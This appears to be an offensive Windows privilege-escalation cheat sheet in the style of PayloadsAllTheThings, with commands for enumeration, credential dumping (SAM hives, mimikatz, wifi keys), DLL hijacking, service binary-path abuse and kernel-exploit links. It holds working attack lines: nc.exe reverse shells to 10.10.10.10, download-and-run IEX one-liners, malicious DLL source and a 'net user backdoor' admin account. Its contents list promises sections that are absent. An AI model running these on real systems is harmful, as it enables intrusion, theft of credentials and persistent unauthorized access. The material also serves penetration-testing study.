# Windows - Privilege Escalation

## Summary

* [Tools](#tools)
* [Windows Version and Configuration](#windows-version-and-configuration)
* [User Enumeration](#user-enumeration)
* [Network Enumeration](#network-enumeration)
* [Antivirus Enumeration](#antivirus-enumeration)
* [Default Writeable Folders](#default-writeable-folders)
* [EoP - Looting for passwords](#eop---looting-for-passwords)
    * [SAM and SYSTEM files](#sam-and-system-files)
    * [HiveNightmare](#hivenightmare)
    * [LAPS Settings](#laps-settings)
    * [Search for file contents](#search-for-file-contents)
    * [Search for a file with a certain filename](#search-for-a-file-with-a-certain-filename)
    * [Search the registry for key names and passwords](#search-the-registry-for-key-names-and-passwords)
    * [Passwords in unattend.xml](#passwords-in-unattendxml)
    * [Wifi passwords](#wifi-passwords)
    * [Sticky Notes passwords](#sticky-notes-passwords)
    * [Passwords stored in services](#passwords-stored-in-services)
    * [Passwords stored in Key Manager](#passwords-stored-in-key-manager)
    * [Powershell History](#powershell-history)
    * [Powershell Transcript](#powershell-transcript)
    * [Password in Alternate Data Stream](#password-in-alternate-data-stream)
* [EoP - Processes Enumeration and Tasks](#eop---processes-enumeration-and-tasks)
* [EoP - Incorrect permissions in services](#eop---incorrect-permissions-in-services)
* [EoP - Windows Subsystem for Linux (WSL)](#eop---windows-subsystem-for-linux-wsl)
* [EoP - Unquoted Service Paths](#eop---unquoted-service-paths)
* [EoP - $PATH Interception](#eop---path-interception)
* [EoP - Named Pipes](#eop---named-pipes)
* [EoP - Kernel Exploitation](#eop---kernel-exploitation)
* [EoP - Microsoft Windows Installer](#eop---microsoft-windows-installer)
    * [AlwaysInstallElevated](#alwaysinstallelevated)
    * [CustomActions](#customactions)
* [EoP - Insecure GUI apps](#eop---insecure-gui-apps)
* [EoP - Evaluating Vulnerable Drivers](#eop---evaluating-vulnerable-drivers)
* [EoP - Printers](#eop---printers)
    * [Universal Printer](#universal-printer)
    * [Bring Your Own Vulnerability](#bring-your-own-vulnerability)
* [EoP - Runas](#eop---runas)
* [EoP - Abusing Shadow Copies](#eop---abusing-shadow-copies)
* [EoP - From local administrator to NT SYSTEM](#eop---from-local-administrator-to-nt-system)
* [EoP - Living Off The Land Binaries and Scripts](#eop---living-off-the-land-binaries-and-scripts)
* [EoP - Impersonation Privileges](#eop---impersonation-privileges)
    * [Restore A Service Account's Privileges](#restore-a-service-accounts-privileges)
    * [Meterpreter getsystem and alternatives](#meterpreter-getsystem-and-alternatives)
    * [RottenPotato (Token Impersonation)](#rottenpotato-token-impersonation)
    * [Juicy Potato (Abusing the golden privileges)](#juicy-potato-abusing-the-golden-privileges)
    * [Rogue Potato (Fake OXID Resolver)](#rogue-potato-fake-oxid-resolver))
    * [EFSPotato (MS-EFSR EfsRpcOpenFileRaw)](#efspotato-ms-efsr-efsrpcopenfileraw))
    * [PrintSpoofer (Printer Bug)](#PrintSpoofer-Printer-Bug)))
* [EoP - Privileged File Write](#eop---privileged-file-write)
    * [DiagHub](#diaghub)
    * [UsoDLLLoader](#usodllloader)
    * [WerTrigger](#wertrigger)
    * [WerMgr](#wermgr)
* [EoP - Privileged File Delete](#eop---privileged-file-delete)
* [EoP - Common Vulnerabilities and Exposures](#eop---common-vulnerabilities-and-exposure)
    * [MS08-067 (NetAPI)](#ms08-067-netapi)
    * [MS10-015 (KiTrap0D)](#ms10-015-kitrap0d---microsoft-windows-nt2000--2003--2008--xp--vista--7)
    * [MS11-080 (adf.sys)](#ms11-080-afd.sys---microsoft-windows-xp-2003)
    * [MS15-051 (Client Copy Image)](#ms15-051---microsoft-windows-2003--2008--7--8--2012)
    * [MS16-032](#ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64)
    * [MS17-010 (Eternal Blue)](#ms17-010-eternal-blue)
    * [CVE-2019-1388](#cve-2019-1388)
* [EoP - $PATH Interception](#eop---path-interception)
* [References](#references)

## Tools

- [PowerSploit's PowerUp](https://github.com/PowerShellMafia/PowerSploit)
    ```powershell
    powershell -Version 2 -nop -exec bypass IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1'); Invoke-AllChecks
    ```
- [Watson - Watson is a (.NET 2.0 compliant) C# implementation of Sherlock](https://github.com/rasta-mouse/Watson)
- [(Deprecated) Sherlock - PowerShell script to quickly find missing software patches for local privilege escalation vulnerabilities](https://github.com/rasta-mouse/Sherlock)
    ```powershell
    powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File Sherlock.ps1
    ```
- [BeRoot - Privilege Escalation Project - Windows / Linux / Mac](https://github.com/AlessandroZ/BeRoot)
- [Windows-Exploit-Suggester](https://github.com/GDSSecurity/Windows-Exploit-Suggester)
    ```powershell
    ./windows-exploit-suggester.py --update
    ./windows-exploit-suggester.py --database 2014-06-06-mssb.xlsx --systeminfo win7sp1-systeminfo.txt 
    ```
- [windows-privesc-check - Standalone Executable to Check for Simple Privilege Escalation Vectors on Windows Systems](https://github.com/pentestmonkey/windows-privesc-check)
- [WindowsExploits - Windows exploits, mostly precompiled. Not being updated.](https://github.com/abatchy17/WindowsExploits)
- [WindowsEnum - A Powershell Privilege Escalation Enumeration Script.](https://github.com/absolomb/WindowsEnum)
- [Seatbelt - A C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives.](https://github.com/GhostPack/Seatbelt)
    ```powershell
    Seatbelt.exe -group=all -full
    Seatbelt.exe -group=system -outputfile="C:\Temp\system.txt"
    Seatbelt.exe -group=remote -computername=dc.theshire.local -computername=192.168.230.209 -username=THESHIRE\sam -password="yum \"po-ta-toes\""
    ```
- [Powerless - Windows privilege escalation (enumeration) script designed with OSCP labs (legacy Windows) in mind](https://github.com/M4ximuss/Powerless)
- [JAWS - Just Another Windows (Enum) Script](https://github.com/411Hall/JAWS)
    ```powershell
    powershell.exe -ExecutionPolicy Bypass -File .\jaws-enum.ps1 -OutputFilename JAWS-Enum.txt
    ```
- [winPEAS - Windows Privilege Escalation Awesome Script](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASexe)
- [Windows Exploit Suggester - Next Generation (WES-NG)](https://github.com/bitsadmin/wesng)
    ```powershell
    # First obtain systeminfo
    systeminfo
    systeminfo > systeminfo.txt
    # Then feed it to wesng
    python3 wes.py --update-wes
    python3 wes.py --update
    python3 wes.py systeminfo.txt
    ```
- [PrivescCheck - Privilege Escalation Enumeration Script for Windows](https://github.com/itm4n/PrivescCheck)
    ```powershell
    C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"
    C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended"
    C:\Temp\>powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Report PrivescCheck_%COMPUTERNAME% -Format TXT,CSV,HTML"
    ```

## Windows Version and Configuration

```powershell
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
```

Extract patchs and updates
```powershell
wmic qfe
```

Architecture

```powershell
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE%
```

List all env variables

```powershell
set
Get-ChildItem Env: | ft Key,Value
```

List all drives

```powershell
wmic logicaldisk get caption || fsutil fsinfo drives
wmic logicaldisk get caption,description,providername
Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}| ft Name,Root
```

## User Enumeration

Get current username

```powershell
echo %USERNAME% || whoami
$env:username
```

List user privilege

```powershell
whoami /priv
whoami /groups
```

List all users

```powershell
net user
whoami /all
Get-LocalUser | ft Name,Enabled,LastLogon
Get-ChildItem C:\Users -Force | select Name
```

List logon requirements; useable for bruteforcing

```powershell$env:usernadsc
net accounts
```

Get details about a user (i.e. administrator, admin, current user)

```powershell
net user administrator
net user admin
net user %USERNAME%
```

List all local groups

```powershell
net localgroup
Get-LocalGroup | ft Name
```

Get details about a group (i.e. administrators)

```powershell
net localgroup administrators
Get-LocalGroupMember Administrators | ft Name, PrincipalSource
Get-LocalGroupMember Administrateurs | ft Name, PrincipalSource
```

Get Domain Controllers

```powershell
nltest /DCLIST:DomainName
nltest /DCNAME:DomainName
nltest /DSGETDC:DomainName
```

## Network Enumeration

List all network interfaces, IP, and DNS.

```powershell
ipconfig /all
Get-NetIPConfiguration | ft InterfaceAlias,InterfaceDescription,IPv4Address
Get-DnsClientServerAddress -AddressFamily IPv4 | ft
```

List current routing table

```powershell
route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex
```

List the ARP table

```powershell
arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,LinkLayerAddress,State
```

List all current connections

```powershell
netstat -ano
```

List all network shares

```powershell
net share
powershell Find-DomainShare -ComputerDomain domain.local
```

SNMP Configuration

```powershell
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Get-ChildItem -path HKLM:\SYSTEM\CurrentControlSet\Services\SNMP -Recurse
```

## Antivirus Enumeration

Enumerate antivirus on a box with `WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName`


## Default Writeable Folders

```powershell
C:\Windows\System32\Microsoft\Crypto\RSA\MachineKeys
C:\Windows\System32\spool\drivers\color
C:\Windows\System32\spool\printers
C:\Windows\System32\spool\servers
C:\Windows\tracing
C:\Windows\Temp
C:\Users\Public
C:\Windows\Tasks
C:\Windows\System32\tasks
C:\Windows\SysWOW64\tasks
C:\Windows\System32\tasks_migrated\microsoft\windows\pls\system
C:\Windows\SysWOW64\tasks\microsoft\windows\pls\system
C:\Windows\debug\wia
C:\Windows\registration\crmlog
C:\Windows\System32\com\dmp
C:\Windows\SysWOW64\com\dmp
C:\Windows\System32\fxstmp
C:\Windows\SysWOW64\fxstmp
```

## EoP - Looting for passwords

### SAM and SYSTEM files

The Security Account Manager (SAM), often Security Accounts Manager, is a database file. The user passwords are stored in a hashed format in a registry hive either as a LM hash or as a NTLM hash. This file can be found in %SystemRoot%/system32/config/SAM and is mounted on HKLM/SAM.

```powershell
# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system
```

Generate a hash file for John using `pwdump` or `samdump2`.

```powershell
pwdump SYSTEM SAM > /root/sam.txt
samdump2 SYSTEM SAM -o sam.txt
```

Either crack it with `john -format=NT /root/sam.txt`, [hashcat](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Hash%20Cracking.md#hashcat) or use Pass-The-Hash.


### HiveNightmare

> CVE-2021–36934 allows you to retrieve all registry hives (SAM,SECURITY,SYSTEM) in Windows 10 and 11 as a non-administrator user

Check for the vulnerability using `icacls`

```powershell
C:\Windows\System32> icacls config\SAM
config\SAM BUILTIN\Administrators:(I)(F)
           NT AUTHORITY\SYSTEM:(I)(F)
           BUILTIN\Users:(I)(RX)    <-- this is wrong - regular users should not have read access!
```

Then exploit the CVE by requesting the shadowcopies on the filesystem and reading the hives from it.

```powershell
mimikatz> token::whoami /full

# List shadow copies available
mimikatz> misc::shadowcopies

# Extract account from SAM databases
mimikatz> lsadump::sam /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /sam:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM

# Extract secrets from SECURITY
mimikatz> lsadump::secrets /system:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM /security:\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SECURITY
```

### LAPS Settings

Extract `HKLM\Software\Policies\Microsoft Services\AdmPwd` from Windows Registry.

* LAPS Enabled: AdmPwdEnabled
* LAPS Admin Account Name: AdminAccountName
* LAPS Password Complexity: PasswordComplexity
* LAPS Password Length: PasswordLength
* LAPS Expiration Protection Enabled: PwdExpirationProtectionEnabled


### Search for file contents

```powershell
cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config 2>nul >> results.txt
findstr /spin "password" *.*
```

Also search in remote places such as SMB Shares and SharePoint:

* Search passwords in SharePoint: [nheiniger/SnaffPoint](https://github.com/nheiniger/SnaffPoint) (must be compiled first, for referencing issue see: https://github.com/nheiniger/SnaffPoint/pull/6)

```powershell
# First, retrieve a token
## Method 1: using SnaffPoint binary
$token = (.\GetBearerToken.exe https://your.sharepoint.com)
## Method 2: using AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
$token = (Get-AADIntAccessToken -ClientId "9bc3ab49-b65d-410a-85ad-de819febfddc" -Tenant "your.onmicrosoft.com" -Resource "https://your.sharepoint.com")

# Second, search on Sharepoint
## Method 1: using search strings in ./presets dir
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token
## Method 2: using search string in command line
### -l uses FQL search, see: https://learn.microsoft.com/en-us/sharepoint/dev/general-development/fast-query-language-fql-syntax-reference
.\SnaffPoint.exe -u "https://your.sharepoint.com" -t $token -l -q "filename:.config"
```

* Search passwords in SMB Shares: [SnaffCon/Snaffler](https://github.com/SnaffCon/Snaffler)

### Search for a file with a certain filename

```powershell
dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini
```

### Search the registry for key names and passwords

```powershell
REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" # Windows Autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword" 
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" # SNMP parameters
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" # Putty clear text proxy credentials
reg query "HKCU\Software\ORL\WinVNC3\Password" # VNC credentials
reg query HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4 /v password

reg query HKLM /f password /t REG_SZ /s
reg query HKCU /f password /t REG_SZ /s
```

### Passwords in unattend.xml

Location of the unattend.xml files.

```powershell
C:\unattend.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\system32\sysprep.inf
C:\Windows\system32\sysprep\sysprep.xml
```

Display the content of these files with `dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul`.

Example content

```powershell
<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
    <AutoLogon>
     <Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
     <Enabled>true</Enabled>
     <Username>Administrateur</Username>
    </AutoLogon>

    <UserAccounts>
     <LocalAccounts>
      <LocalAccount wcm:action="add">
       <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Group>administrators;users</Group>
       <Name>Administrateur</Name>
      </LocalAccount>
     </LocalAccounts>
    </UserAccounts>
```

Unattend credentials are stored in base64 and can be decoded manually with base64.

```powershell
$ echo "U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo="  | base64 -d 
SecretSecurePassword1234*
```

The Metasploit module `post/windows/gather/enum_unattend` looks for these files.

### IIS Web config

```powershell
Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
```

```powershell
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config
```

### Other files

```bat
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
C:\ProgramData\Configs\*
C:\Program Files\Windows PowerShell\*
dir c:*vnc.ini /s /b
dir c:*ultravnc.ini /s /b
```

### Wifi passwords

Find AP SSID
```bat
netsh wlan show profile
```

Get Cleartext Pass
```bat
netsh wlan show profile <SSID> key=clear
```

Oneliner method to extract wifi passwords from all the access point.

```batch
cls & echo. & for /f "tokens=4 delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name=%a key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on
```

### Sticky Notes passwords

The sticky notes app stores it's content in a sqlite db located at `C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite`

### Passwords stored in services

Saved session information for PuTTY, WinSCP, FileZilla, SuperPuTTY, and RDP using [SessionGopher](https://github.com/Arvanaghi/SessionGopher)


```powershell
https://raw.githubusercontent.com/Arvanaghi/SessionGopher/master/SessionGopher.ps1
Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss
```


### Passwords stored in Key Manager

:warning: This software will display its output in a GUI

```ps1
rundll32 keymgr,KRShowKeyMgr
```

### Powershell History

Disable Powershell history: `Set-PSReadlineOption -HistorySaveStyle SaveNothing`.

```powershell
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```

### Powershell Transcript

```xml
C:\Users\<USERNAME>\Documents\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
C:\Transcripts\<DATE>\PowerShell_transcript.<HOSTNAME>.<RANDOM>.<TIMESTAMP>.txt
```

### Password in Alternate Data Stream

```ps1
PS > Get-Item -path flag.txt -Stream *
PS > Get-Content -path flag.txt -Stream Flag
```

## EoP - Processes Enumeration and Tasks

* What processes are running?
    ```powershell
    tasklist /v
    net start
    sc query
    Get-Service
    Get-Process
    Get-WmiObject -Query "Select * from Win32_Process" | where {$_.Name -notlike "svchost*"} | Select Name, Handle, @{Label="Owner";Expression={$_.GetOwner().User}} | ft -AutoSize
    ```

* Which processes are running as "system"
    ```powershell
    tasklist /v /fi "username eq system"
    ```

* Do you have powershell magic?
    ```powershell
    REG QUERY "HKLM\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" /v PowerShellVersion
    ```

* List installed programs
    ```powershell
    Get-ChildItem 'C:\Program Files', 'C:\Program Files (x86)' | ft Parent,Name,LastWriteTime
    Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
    ```

* List services
    ```powershell
    net start
    wmic service list brief
    tasklist /SVC
    ```

* Enumerate scheduled tasks
    ```powershell
    schtasks /query /fo LIST 2>nul | findstr TaskName
    schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
    Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
    ```

* Startup tasks
    ```powershell
    wmic startup get caption,command
    reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
    reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
    dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
    dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
    ```

## EoP - Incorrect permissions in services

> A service running as Administrator/SYSTEM with incorrect file permissions might allow EoP. You can replace the binary, restart the service and get system.

Often, services are pointing to writeable locations:
- Orphaned installs, not installed anymore but still exist in startup
- DLL Hijacking
    ```powershell
    # find missing DLL 
    - Find-PathDLLHijack PowerUp.ps1
    - Process Monitor : check for "Name Not Found"

    # compile a malicious dll
    - For x64 compile with: "x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll"
    - For x86 compile with: "i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll"

    # content of windows_dll.c
    #include <windows.h>
    BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
        if (dwReason == DLL_PROCESS_ATTACH) {
            system("cmd.exe /k whoami > C:\\Windows\\Temp\\dll.txt");
            ExitProcess(0);
        }
        return TRUE;
    }
    ```

- PATH directories with weak permissions
    ```powershell
    $ for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
    $ for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"

    $ sc query state=all | findstr "SERVICE_NAME:" >> Servicenames.txt
    FOR /F %i in (Servicenames.txt) DO echo %i
    type Servicenames.txt
    FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt
    FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt
    ```

Alternatively you can use the Metasploit exploit : `exploit/windows/local/service_permissions`

Note to check file permissions you can use `cacls` and `icacls`
> icacls (Windows Vista +)    
> cacls (Windows XP)

You are looking for `BUILTIN\Users:(F)`(Full access), `BUILTIN\Users:(M)`(Modify access) or  `BUILTIN\Users:(W)`(Write-only access) in the output.

### Example with Windows 10 - CVE-2019-1322 UsoSvc

Prerequisite: Service account

```powershell
PS C:\Windows\system32> sc.exe stop UsoSvc
PS C:\Windows\system32> sc.exe config usosvc binPath="C:\Windows\System32\spool\drivers\color\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe config UsoSvc binpath= "cmd /C C:\Users\nc.exe 10.10.10.10 4444 -e cmd.exe"
PS C:\Windows\system32> sc.exe qc usosvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: usosvc
        TYPE               : 20  WIN32_SHARE_PROCESS 
        START_TYPE         : 2   AUTO_START  (DELAYED)
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Users\mssql-svc\Desktop\nc.exe 10.10.10.10 4444 -e cmd.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : Update Orchestrator Service
        DEPENDENCIES       : rpcss
        SERVICE_START_NAME : LocalSystem

PS C:\Windows\system32> sc.exe start UsoSvc
```

### Example with Windows XP SP1 - upnphost

```powershell
# NOTE: spaces are mandatory for this exploit to work !
sc config upnphost binpath= "C:\Inetpub\wwwroot\nc.exe 10.11.0.73 4343 -e C:\WINDOWS\System32\cmd.exe"
sc config upnphost obj= ".\LocalSystem" password= ""
sc qc upnphost
sc config upnphost depend= ""
net start upnphost
```

If it fails because of a missing dependency, try the following commands.

```powershell
sc config SSDPSRV start=auto
net start SSDPSRV
net stop upnphost
net start upnphost

sc config upnphost depend=""
```

Using [`accesschk`](https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe) from Sysinternals or [accesschk-XP.exe - github.com/phackt](https://github.com/phackt/pentest/blob/master/privesc/windows/accesschk-XP.exe)

```powershell
$ accesschk.exe -uwcqv "Authenticated Users" * /accepteula
RW SSDPSRV
        SERVICE_ALL_ACCESS
RW upnphost
        SERVICE_ALL_ACCESS

$ accesschk.exe -ucqv upnphost
upnphost
  RW NT AUTHORITY\SYSTEM
        SERVICE_ALL_ACCESS
  RW BUILTIN\Administrators
        SERVICE_ALL_ACCESS
  RW NT AUTHORITY\Authenticated Users
        SERVICE_ALL_ACCESS
  RW BUILTIN\Power Users
        SERVICE_ALL_ACCESS

$ sc config <vuln-service> binpath="net user backdoor backdoor123 /add"
$ sc config <vuln-service> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
$ sc stop <vuln-service>
$ sc start <vuln-service>
$ sc config <vuln-service> binpath="net localgroup Administrators backdoor /add"
$ sc stop <vuln-service>
$ sc start <vuln-service>
```

## EoP - Windows Subsystem for Linux (WSL)

Technique borrowed from [Warlockobama's tweet](https://twitter.com/Warlockobama/status/1067890915753132032)

> With root privileges Windows  Subsystem for Linux (WSL)  allows users to create a bind shell on any port (no elevation needed). Don't know the root password? No problem just set the default user to root W/ <distro>.exe --default-user root. Now start your bind shell or reverse.

```powershell
wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'
```

Binary `bash.exe` can also be found in `C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe`

Alternatively you can explore the `WSL` filesystem in the folder `C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\`

## EoP - Unquoted Service Paths

The Microsoft Windows Unquoted Service Path Enumeration Vulnerability. All Windows services have a Path to its executable. If that path is unquoted and contains whitespace or other separators, then the service will attempt to access a resource in the parent path first.

```powershell
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """

wmic service get name,displayname,startmode,pathname | findstr /i /v "C:\Windows\\" |findstr /i /v """

gwmi -class Win32_Service -Property Name, DisplayName, PathName, StartMode | Where {$_.StartMode -eq "Auto" -and $_.PathName -notlike "C:\Windows*" -and $_.PathName -notlike '"*'} | select PathName,DisplayName,Name
```

* Metasploit exploit : `exploit/windows/local/trusted_service_path`
* PowerUp exploit
    ```powershell
    # find the vulnerable application
    C:\> powershell.exe -nop -exec bypass "IEX (New-Object Net.WebClient).DownloadString('https://your-site.com/PowerUp.ps1'); Invoke-AllChecks"

    ...
    [*] Checking for unquoted service paths...
    ServiceName   : BBSvc
    Path          : C:\Program Files\Microsoft\Bing Bar\7.1\BBSvc.exe
    StartName     : LocalSystem
    AbuseFunction : Write-ServiceBinary -ServiceName 'BBSvc' -Path <HijackPath>
    ...

    # automatic exploit
    Invoke-ServiceAbuse -Name [SERVICE_NAME] -Command "..\..\Users\Public\nc.exe 10.10.10.10 4444 -e cmd.exe"
    ```

### Example

For `C:\Program Files\something\legit.exe`, Windows will try the following paths first:
- `C:\Program.exe`
- `C:\Program Files.exe`


## EoP - $PATH Interception

Requirements:
- PATH contains a writeable folder with low privileges.
- The writeable folder is _before_ the folder that contains the legitimate binary.

EXAMPLE:
```powershell
# List contents of the PATH environment variable
# EXAMPLE OUTPUT: C:\Program Files\nodejs\;C:\WINDOWS\system32
$env:Path

# See permissions of the target folder
# EXAMPLE OUTPUT: BUILTIN\Users: GR,GW
icacls.exe "C:\Program Files\nodejs\"

# Place our evil-file in that folder.
copy evil-file.exe "C:\Program Files\nodejs\cmd.exe"
```

Because (in this example) "C:\Program Files\nodejs\" is _before_ "C:\WINDOWS\system32\" on the PATH variable, the next time the user runs "cmd.exe", our evil version in the nodejs folder will run, instead of the legitimate one in the system32 folder. 


## EoP - Named Pipes

1. Find named pipes: `[System.IO.Directory]::GetFiles("\\.\pipe\")`
2. Check named pipes DACL: `pipesec.exe <named_pipe>`
3. Reverse engineering software
4. Send data throught the named pipe : `program.exe >\\.\pipe\StdOutPipe 2>\\.\pipe\StdErrPipe`


## EoP - Kernel Exploitation

List of exploits kernel : [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)

##### #Security Bulletin&nbsp;&nbsp;&nbsp;#KB &nbsp;&nbsp;&nbsp;&nbsp;#Description&nbsp;&nbsp;&nbsp;&nbsp;#Operating System  
- [MS17-017](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-017) 　[KB4013081]　　[GDI Palette Objects Local Privilege Escalation]　　(windows 7/8)
- [CVE-2017-8464](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-8464) 　[LNK Remote Code Execution Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
- [CVE-2017-0213](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2017-0213) 　[Windows COM Elevation of Privilege Vulnerability]　　(windows 10/8.1/7/2016/2010/2008)
- [CVE-2018-0833](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-0833)   [SMBv3 Null Pointer Dereference Denial of Service]    (Windows 8.1/Server 2012 R2)
- [CVE-2018-8120](https://github.com/SecWiki/windows-kernel-exploits/tree/master/CVE-2018-8120)   [Win32k Elevation of Privilege Vulnerability]    (Windows 7 SP1/2008 SP2,2008 R2 SP1)
- [MS17-010](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS17-010) 　[KB4013389]　　[Windows Kernel Mode Drivers]　　(windows 7/2008/2003/XP)
- [MS16-135](https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS16-135) 　[KB3199135]　　[Windows Kernel Mode Drivers]　　(2016)
